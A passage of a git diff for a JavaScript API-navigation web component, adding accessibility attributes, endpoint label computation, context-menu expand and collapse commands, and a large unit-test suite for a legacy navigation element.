       @click="${this[endpointToggleClickHandler]}"
     >
-      <arc-icon icon="arrowDropDown"></arc-icon>
+      <arc-icon icon="arrowDropDown" role="img" aria-label="Toggle the list of operations"></arc-icon>
     </anypoint-icon-button>`;
   }
 
@@ -1960,7 +2012,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
           ?anypoint="${this.anypoint}"
           tabindex="-1"
         >
-          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+          <arc-icon aria-label="${toggleState}" role="img" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
       <anypoint-collapse .opened="${documentationsOpened}">
@@ -2075,7 +2127,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
           ?anypoint="${this.anypoint}"
           tabindex="-1"
         >
-          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+          <arc-icon aria-label="${toggleState}" role="img" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
       <anypoint-collapse .opened="${schemasOpened}">
@@ -2152,7 +2204,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
           ?anypoint="${this.anypoint}"
           tabindex="-1"
         >
-          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+          <arc-icon aria-label="${toggleState}" role="img" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
       <anypoint-collapse .opened="${securityOpened}">
diff --git a/src/lib/navigation-layout/EndpointsTree.js b/src/lib/navigation-layout/EndpointsTree.js
index bb1acb3..540536f 100644
--- a/src/lib/navigation-layout/EndpointsTree.js
+++ b/src/lib/navigation-layout/EndpointsTree.js
@@ -75,6 +75,7 @@ export class EndpointsTree {
         if (hasParts) {
           const info = this.findCommonRootInfo(parts);
           if (info) {
+            // this is an abstract item, it's not actually an endpoint
             const parent = {
               indent: info.item.indent,
               path: info.common,
diff --git a/src/lib/navigation-layout/NaturalTree.js b/src/lib/navigation-layout/NaturalTree.js
index 6d85062..971bad9 100644
--- a/src/lib/navigation-layout/NaturalTree.js
+++ b/src/lib/navigation-layout/NaturalTree.js
@@ -1,3 +1,4 @@
+/* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
 /* eslint-disable no-plusplus */
 /** @typedef {import('../../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
@@ -34,7 +35,7 @@ export class NaturalTree {
     const { path, name, id, operations,  } = item;
     const result = /** @type ApiEndpointsTreeItem */ ({
       path,
-      label: this.prepareLabel(item),
+      label: name,
       name,
       id,
       indent: 0,
@@ -63,19 +64,43 @@ export class NaturalTree {
         }
       }
     }
+    if (!result.label) {
+      if (indent > 0) {
+        try {
+          result.label = this.computePathName(path, parts, indent);
+        } catch (_) {
+          result.label = path;
+        }
+      } else {
+        result.label = path;
+      }
+    }
     result.indent = indent;
     this.result.push(result);
   }
 
   /**
-   * @param {ApiEndPointWithOperationsListItem} item
+   * Computes label for an endpoint when name is missing and the endpoint
+   * is indented, hence name should be truncated.
+   * @param {string} currentPath Endpoint's path
+   * @param {string[]} parts Path parts
+   * @param {number} indent Endpoint indentation
    * @returns {string} 
    */
-  prepareLabel(item) {
-    const { path, name, } = item;
-    if (name) {
-      return name;
+   computePathName(currentPath, parts, indent) {
+    const { basePaths } = this;
+    let path = '';
+    
+    const latestBasePath = basePaths[basePaths.length - 1];
+    for (let i = 0, len = parts.length - 1; i < len; i++) {
+      path += `/${parts[i]}`;
+      if (!latestBasePath || latestBasePath.indexOf(`${path}/`) !== -1) {
+        indent--;
+      }
+      if (indent === 0) {
+        break;
+      }
     }
-    return path || 'Unknown path';
+    return currentPath.replace(path, '');
   }
 }
diff --git a/src/plugins/NavigationCommands.d.ts b/src/plugins/NavigationCommands.d.ts
new file mode 100644
index 0000000..33ce94f
--- /dev/null
+++ b/src/plugins/NavigationCommands.d.ts
@@ -0,0 +1,4 @@
+import { ContextMenuCommand } from '@api-client/context-menu';
+
+declare const commands: ContextMenuCommand[];
+export default commands;
diff --git a/src/plugins/NavigationCommands.js b/src/plugins/NavigationCommands.js
new file mode 100644
index 0000000..4ba3fa0
--- /dev/null
+++ b/src/plugins/NavigationCommands.js
@@ -0,0 +1,39 @@
+/** @typedef {import('@api-client/context-menu').ContextMenuCommand} ContextMenuCommand */
+/** @typedef {import('../elements/ApiNavigationElement').default} ApiNavigationElement */
+
+
+const commands = /** @type ContextMenuCommand[] */ ([
+  {
+    target: 'all',
+    label: 'Expand all',
+    execute: (ctx) => {
+      const menu = /** @type ApiNavigationElement */ (ctx.root);
+      menu.expandAll();
+    },
+  },
+  {
+    target: 'all',
+    label: 'Collapse all',
+    execute: (ctx) => {
+      const menu = /** @type ApiNavigationElement */ (ctx.root);
+      menu.collapseAll();
+    },
+  },
+  {
+    target: 'endpoints',
+    label: 'Expand all endpoints',
+    execute: (ctx) => {
+      const menu = /** @type ApiNavigationElement */ (ctx.root);
+      menu.expandAllEndpoints();
+    },
+  },
+  {
+    target: 'endpoints',
+    label: 'Collapse all endpoints',
+    execute: (ctx) => {
+      const menu = /** @type ApiNavigationElement */ (ctx.root);
+      menu.collapseAllEndpoints();
+    },
+  },
+]);
+export default commands;
diff --git a/src/plugins/NavigationContextMenu.d.ts b/src/plugins/NavigationContextMenu.d.ts
new file mode 100644
index 0000000..4e71b92
--- /dev/null
+++ b/src/plugins/NavigationContextMenu.d.ts
@@ -0,0 +1,16 @@
+import { ContextMenu } from '@api-client/context-menu';
+
+export declare class NavigationContextMenu extends ContextMenu {
+  /**
+   * Finds the click target which
+   */
+  findTarget(e: MouseEvent): HTMLElement|SVGElement|undefined;
+
+  /**
+   * Maps an element to an internal target name.
+   *
+   * @param element The context click target
+   * @returns The internal target name.
+   */
+  elementToTarget(element: HTMLElement): string|undefined;
+}
diff --git a/src/plugins/NavigationContextMenu.js b/src/plugins/NavigationContextMenu.js
new file mode 100644
index 0000000..1764718
--- /dev/null
+++ b/src/plugins/NavigationContextMenu.js
@@ -0,0 +1,42 @@
+import { ContextMenu } from '@api-client/context-menu';
+
+export class NavigationContextMenu extends ContextMenu {
+  /**
+   * Finds the click target which can be one of the model objects
+   * or SVG elements.
+   *
+   * @param {MouseEvent} e
+   * @return {HTMLElement|SVGElement|undefined}
+   */
+  findTarget(e) {
+    let target;
+    const path = e.composedPath();
+    while(path.length > 0) {
+      const candidate = /** @type Element */ (path.shift());
+      if (candidate === this.workspace || (candidate.nodeType === Node.ELEMENT_NODE && (candidate.classList.contains('list-item') || candidate.classList.contains('section-title')))) {
+        target = /** @type HTMLElement */ (candidate);
+        break;
+      }
+    }
+    return target;
+  }
+
+  /**
+   * Maps an element to an internal target name.
+   *
+   * @param {HTMLElement} element The context click target
+   * @return {string|undefined} The internal target name.
+   */
+  elementToTarget(element) {
+    if (element === this.workspace) {
+      return 'root';
+    }
+    if (element.dataset.graphShape) {
+      return element.dataset.graphShape;
+    }
+    if (element.dataset.section) {
+      return element.dataset.section;
+    }
+    return super.elementToTarget(element);
+  }
+}
diff --git a/test/legacy-navigation/ApiNavigationLegacyElement.test.js b/test/legacy-navigation/ApiNavigationLegacyElement.test.js
new file mode 100644
index 0000000..abfd9c2
--- /dev/null
+++ b/test/legacy-navigation/ApiNavigationLegacyElement.test.js
@@ -0,0 +1,1643 @@
+import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
+import sinon from 'sinon';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../define/api-navigation-legacy.js';
+import { 
+  computePathName, 
+  computeRenderPath, 
+  queryValue, 
+  queryDebouncer, 
+  hasPassiveSelection,
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+  shiftTabPressed,
+  focusedItemPrivate,
+  itemClickHandler,
+  flushQuery,
+  rearrangeEndpoints,
+  toggleSectionHandler,
+  selectItem,
+  selectMethodPassive,
+  toggleEndpoint,
+  computeEndpointPaddingLeft,
+  computeOperationPaddingLeft,
+} from '../../src/elements/ApiNavigationLegacyElement.js';
+import { ns } from '../../src/helpers/Namespace.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
+import { EventTypes } from '../../src/events/EventTypes.js';
+
+/* eslint-disable no-plusplus */
+
+/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('../../src/elements/ApiNavigationLegacyElement').DocumentationItem} DocumentationItem */
+/** @typedef {import('../../src/elements/ApiNavigationLegacyElement').TypeItem} TypeItem */
+/** @typedef {import('../../src/elements/ApiNavigationLegacyElement').SecurityItem} SecurityItem */
+/** @typedef {import('../../src/elements/ApiNavigationLegacyElement').EndpointItem} EndpointItem */
+/** @typedef {import('../../src/elements/ApiNavigationLegacyElement').MethodItem} MethodItem */
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Amf.EndPoint} EndPoint */
+
+describe('ApiNavigationLegacyElement', () => {
+  const loader = new AmfLoader();
+  const asyncApi = 'async-api';
+  const unorderedEndpoints = 'unordered-endpoints';
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function basicFixture(amf) {
+    return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function summaryFixture(amf) {
+    return fixture(html`<api-navigation-legacy summary .amf="${amf}"></api-navigation-legacy>`);
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function preselectedFixture(amf) {
+    return fixture(
+      html`<api-navigation-legacy summary domainId="test1" .amf="${amf}"></api-navigation-legacy>`
+    );
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function sortedFixture(amf) {
+    return fixture(
+      html`<api-navigation-legacy rearrangeEndpoints .amf="${amf}"></api-navigation-legacy>`
+    );
+  }
+
+ /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function endpointsOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation-legacy
+      endpointsOpened
+      .amf="${amf}"
+    ></api-navigation-legacy>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function docsOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation-legacy
+      docsOpened
+      .amf="${amf}"
+    ></api-navigation-legacy>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function typesOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation-legacy
+      typesOpened
+      .amf="${amf}"
+    ></api-navigation-legacy>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function securityOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation-legacy
+      securityOpened
+      .amf="${amf}"
+    ></api-navigation-legacy>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function modelFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(
+      html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`
+    ));
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @param {boolean=} operationsOpened
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function operationsOpenedFixture(amf, operationsOpened = true) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(
+      html`<api-navigation-legacy .amf="${amf}" .operationsOpened="${operationsOpened}"></api-navigation-legacy>`
+    ));
+    return elm;
+  }
+
+  /**
+   * @param {string} code 
+   * @param {number} no 
+   * @returns {KeyboardEvent}
+   */
+  function keyboardEvent(code, no) {
+    const e = new KeyboardEvent('keydown', {
+      detail: 0,
+      bubbles: true,
+      cancelable: true,
+      composed: true,
+      keyCode: no,
+      code,
+      key: code,
+    });
+    return e;
+  }
+
+  describe('Super basics - without model', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    before(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('[isFragmentValue] is set', () => {
+      assert.isFalse(element[isFragmentValue]);
+    });
+
+    it('summaryRendered is not false', () => {
+      assert.isFalse(element.summaryRendered);
+    });
+
+    it('summary is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.summary');
+      assert.notOk(panel);
+    });
+
+    it('documentation is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.documentation');
+      assert.notOk(panel);
+    });
+
+    it('types is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.types');
+      assert.notOk(panel);
+    });
+
+    it('security is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.security');
+      assert.notOk(panel);
+    });
+
+    it('endpoints is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.endpoints');
+      assert.notOk(panel);
+    });
+  });
+
+  describe('Summary', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      element = await summaryFixture();
+      await nextFrame();
+    });
+
+    it('the summary is rendered', () => {
+      const panel = element.shadowRoot.querySelector('.summary');
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on summary', () => {
+      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.summary'));
+      node.click();
+      assert.equal(element.domainId, 'summary');
+      assert.equal(element.domainType, 'summary');
+    });
+  });
+
+  describe('Docs', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type DocumentationItem[] */
+    let model;
+
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+          isExternal: false,
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+          isExternal: false,
+        },
+      ];
+      element = await preselectedFixture();
+      element[docsValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasDocs', () => {
+      assert.isTrue(element.hasDocs);
+    });
+
+    it('renders the documentation', () => {
+      const panel = element.shadowRoot.querySelector('.documentation');
+      assert.ok(panel);
+    });
+
+    it('has a selection on the preselected item', () => {
+      const selector = '.documentation [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.documentation .list-item'))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'documentation');
+    });
+  });
+
+  describe('Types', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type TypeItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+        },
+      ];
+      element = await preselectedFixture();
+      element[typesValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasTypes', () => {
+      assert.isTrue(element.hasTypes);
+    });
+
+    it('renders the types section', () => {
+      const panel = element.shadowRoot.querySelector('section.types');
+      assert.ok(panel);
+    });
+
+    it('has a selection aon a preselected item', () => {
+      const selector = '.types [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.types .list-item'))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'schema');
+    });
+  });
+
+  describe('Security', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type SecurityItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+        },
+      ];
+      element = await preselectedFixture();
+      element[securityValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasSecurity', () => {
+      assert.isTrue(element.hasSecurity);
+    });
+
+    it('renders the types panel', () => {
+      const panel = element.shadowRoot.querySelector('section.security');
+      assert.ok(panel);
+    });
+
+    it('has a selection on a preselected item', () => {
+      const selector = '.security [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.security .list-item'
+      ))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'security');
+    });
+  });
+
+  describe('Endpoints', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type EndpointItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+          path: '',
+          renderPath: false,
+          indent: 0,
+          methods: [
+            {
+              id: 'method1',
+              method: 'GET',
+              label: '',
+            },
+          ],
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+          path: '',
+          renderPath: false,
+          indent: 0,
+          methods: [
+            {
+              id: 'method2',
+              method: 'GET',
+              label: '',
+            },
+            {
+              id: 'method3',
+              method: 'POST',
+              label: '',
+            },
+          ],
+        },
+      ];
+      element = await preselectedFixture();
+      // @ts-ignore
+      element[endpointsValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasEndpoints', () => {
+      assert.isTrue(element.hasEndpoints);
+    });
+
+    it('renders the types section', () => {
+      const panel = element.shadowRoot.querySelector('section.endpoints');
+      assert.ok(panel);
+    });
+
+    it('has a selection on a preselected item', () => {
+      const selector = '.endpoints [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('toggles an operation when clicking on an endpoint', async () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.endpoints .list-item.endpoint'
+      ))[1];
+      node.click();
+      await aTimeout(0);
+
+      const collapsable = node.nextElementSibling;
+      // @ts-ignore
+      assert.isTrue(collapsable.opened);
+    });
+
+    it('changes selection when clicking on the overview', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.list-item.operation[data-shape="resource"]'
+      ))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'resource');
+    });
+
+    it('rearrangeEndpoints is not true by default', () => {
+      assert.isNotTrue(element.rearrangeEndpoints);
+    });
+  });
+
+  describe('Sorting endpoints', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type AmfDocument */
+    let amf;
+
+    // const pathKey = 'http://a.ml/vocabularies/apiContract#path';
+    const pathKey = ns.aml.vocabularies.apiContract.path;
+
+    // const dataSet = /** @type EndPoint[] */ ([
+    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
+    // ]);
+
+    // const expected = /** @type EndPoint[] */ ([
+    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
+    // ]);
+
+    const dataSet = /** @type any[] */ ([
+      { [pathKey]: '/transactions/:txId' },
+      { [pathKey]: '/billing' },
+      { [pathKey]: '/accounts/:accountId' },
+      { [pathKey]: '/accounts' },
+      { [pathKey]: '/transactions' },
+    ]);
+
+    const expected = /** @type any[] */ ([
+      { [pathKey]: '/accounts' },
+      { [pathKey]: '/accounts/:accountId' },
+      { [pathKey]: '/billing' },
+      { [pathKey]: '/transactions' },
+      { [pathKey]: '/transactions/:txId' },
+    ]);
+
+    beforeEach(async () => {
+      element = await sortedFixture();
+      amf = await loader.getGraph(false, 'rearrange-api');
+    });
+
+    it('should sort endpoints', () => {
+      const sorted = element[rearrangeEndpoints](dataSet);
+      assert.sameDeepOrderedMembers(sorted, expected);
+    });
+
+    it('should have endpoints sorted', () => {
+      element.amf = amf;
+
+      element[endpointsValue].forEach((endpoint, i) =>
+        assert.equal(endpoint.path, expected[i][pathKey])
+      );
+    });
+
+
+    it('should sort after setting rearrangeEndpoints property', async () => {
+      element = await modelFixture(amf);
+      await nextFrame();
+      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
+      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+      element.rearrangeEndpoints = true;
+      await nextFrame();
+      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+    });
+
+    it('should un-sort after toggling rearrangeEndpoints property off', async () => {
+      element = await modelFixture(amf);
+      element.rearrangeEndpoints = true;
+      await nextFrame();
+      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
+      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+      element.rearrangeEndpoints = false;
+      await nextFrame();
+      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+    });
+  });
+
+  describe('Navigation events', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    let model;
+    beforeEach(async () => {
+      model = {
+        docs: [
+          {
+            id: 'test1',
+            label: 'test1',
+            isExternal: false,
+          },
+          {
+            id: 'test2',
+            label: 'test2',
+            isExternal: false,
+          },
+        ],
+        types: [
+          {
+            id: 'test3',
+            label: 'test3',
+          },
+          {
+            id: 'test4',
+            label: 'test4',
+          },
+        ],
+        security: [
+          {
+            id: 'test5',
+            label: 'test5',
+          },
+          {
+            id: 'test6',
+            label: 'test6',
+          },
+        ],
+        endpoints: [
+          {
+            id: 'test7',
+            label: 'test7',
+            methods: [
+              {
+                id: 'method8',
+                method: 'GET',
+              },
+            ],
+          },
+          {
+            id: 'test9',
+            label: 'test9',
+            methods: [
+              {
+                id: 'method10',
+                method: 'GET',
+              },
+              {
+                id: 'method11',
+                method: 'POST',
+              },
+            ],
+          },
+        ],
+      };
+      element = await basicFixture();
+      element[docsValue] = model.docs;
+      element[typesValue] = model.types;
+      element[securityValue] = model.security;
+      // @ts-ignore
+      element[endpointsValue] = model.endpoints;
+      await element.requestUpdate();
+    });
+
+    it('updates the selection from the change event', async () => {
+      const id = 'test3';
+      NavigationEvents.apiNavigate(document.body, id, 'schema');
+      assert.equal(element.domainId, id);
+      assert.equal(element.domainType, 'schema');
+      const node = element.shadowRoot.querySelector(`[data-api-id="${id}"]`);
+      await nextFrame();
+      assert.isTrue(node.classList.contains('selected'));
+    });
+
+    it('does not update the selection if it is the source', () => {
+      const id = 'test3';
+      NavigationEvents.apiNavigate(element, id, 'schema');
+      assert.isUndefined(element.domainId);
+    });
+
+    it('does not dispatch the selection event', () => {
+      const id = 'test3';
+      const spy = sinon.spy();
+      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+      NavigationEvents.apiNavigate(document.body, id, 'schema');
+      assert.isFalse(spy.called);
+    });
+
+    [
+      ['schema', 'test3', '.list-item'],
+      ['security', 'test5', '.list-item'],
+      ['documentation', 'test1', '.list-item'],
+      ['resource', 'test7', '.operation'],
+    ].forEach(item => {
+      const [type, id, selector] = item;
+      it(`dispatches the event when clicking on a ${type}`, () => {
+        const s = `${selector}[data-api-id="${id}"]`;
+        const spy = sinon.spy();
+        element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(s));
+        node.click();
+        assert.isTrue(spy.calledOnce);
+        const { detail } = spy.args[0][0];
+        assert.equal(detail.domainId, id);
+        assert.equal(detail.domainType, type);
+        assert.isUndefined(detail.parentId);
+      });
+    });
+
+    it('dispatches the event when clicking on a method', () => {
+      const selector = '.operation[data-api-id="method10"]';
+      const spy = sinon.spy();
+      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
+      node.click();
+      assert.isTrue(spy.calledOnce);
+      const { detail } = spy.args[0][0];
+      assert.equal(detail.domainId, 'method10');
+      assert.equal(detail.domainType, 'operation');
+      assert.equal(detail.parentId, 'test9');
+    });
+  });
+
+  describe('computePathName()', () => {
+    it('Computes short path', () => {
+      const base = ['/root', '/root/other'];
+      const current = '/root/other/path';
+      const parts = ['root', 'other', 'path'];
+      const indent = 3;
+      const result = computePathName(current, parts, indent, base);
+      assert.equal(result, '/path');
+    });
+
+    it('Computes short path for combined endpoint names', () => {
+      const base = ['/root', '/root/other'];
+      const current = '/root/other/path';
+      const parts = ['root', 'other'];
+      const indent = 1;
+      const result = computePathName(current, parts, indent, base);
+      assert.equal(result, '/other/path');
+    });
+  });
+
+  describe('[computeEndpointPaddingLeft]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Computes default padding', () => {
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 16);
+    });
+
+    it('Computes value for single value padding', () => {
+      element.style.setProperty('--api-navigation-list-item-padding', '5px');
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 5);
+    });
+
+    it('Computes value for double padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 10);
+    });
+
+    it('Computes value for triple padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px 15px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 10);
+    });
+
+    it('Computes value for full padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px 15px 20px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 20);
+    });
+  });
+
+  describe('[computeOperationPaddingLeft]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Computes default padding', () => {
+      const result = element[computeOperationPaddingLeft]();
+      assert.equal(result, 24);
+    });
+
+    it('Computes padding from css property', () => {
+      element.style.setProperty(
+        '--api-navigation-operation-item-padding-left',
+        '5px'
+      );
+      const result = element[computeOperationPaddingLeft]();
+      assert.equal(result, 5);
+    });
+  });
+
+  describe('[toggleEndpoint]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Does nothing when node with data-endpoint-id is not in the path', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [];
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('Ignores node that are not of a type of 1 (Element)', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [document.createTextNode('test')];
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('Ignores nodes without data-endpoint-id', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [document.createTextNode('span')];
+
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('calls toggleOperations()', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const node = document.createElement('span');
+      node.dataset.endpointId = 'testId';
+      const e = new MouseEvent('test');
+      e.composedPath = () => [node];
+      element[toggleEndpoint](e);
+      assert.isTrue(spy.called, 'Function called');
+      assert.equal(spy.args[0][0], 'testId', 'Has argument set');
+    });
+  });
+
+  describe('[queryChanged]()', () => {
+    let element;
+    beforeEach(async () => {
+      element = await summaryFixture();
+    });
+
+    it('Does nothing when [queryDebouncer] is already set', () => {
+      element[queryDebouncer] = 1;
+      element.query = 'test';
+      assert.equal(element[queryDebouncer], 1);
+    });
+
+    it('Sets [queryDebouncer]', async () => {
+      element.query = 'test';
+      assert.isTrue(element[queryDebouncer]);
+      await nextFrame();
+    });
+
+    it('calls the [flushQuery]() method', done => {
+      element.query = 'test';
+      const spy = sinon.spy(element, flushQuery);
+      setTimeout(() => {
+        assert.isTrue(spy.called);
+        done();
+      });
+    });
+
+    it('Re-sets [queryDebouncer]', done => {
+      element.query = 'test';
+      setTimeout(() => {
+        assert.isFalse(element[queryDebouncer]);
+        done();
+      });
+    });
+  });
+
+  [false, true].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      describe('[toggleSectionHandler]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
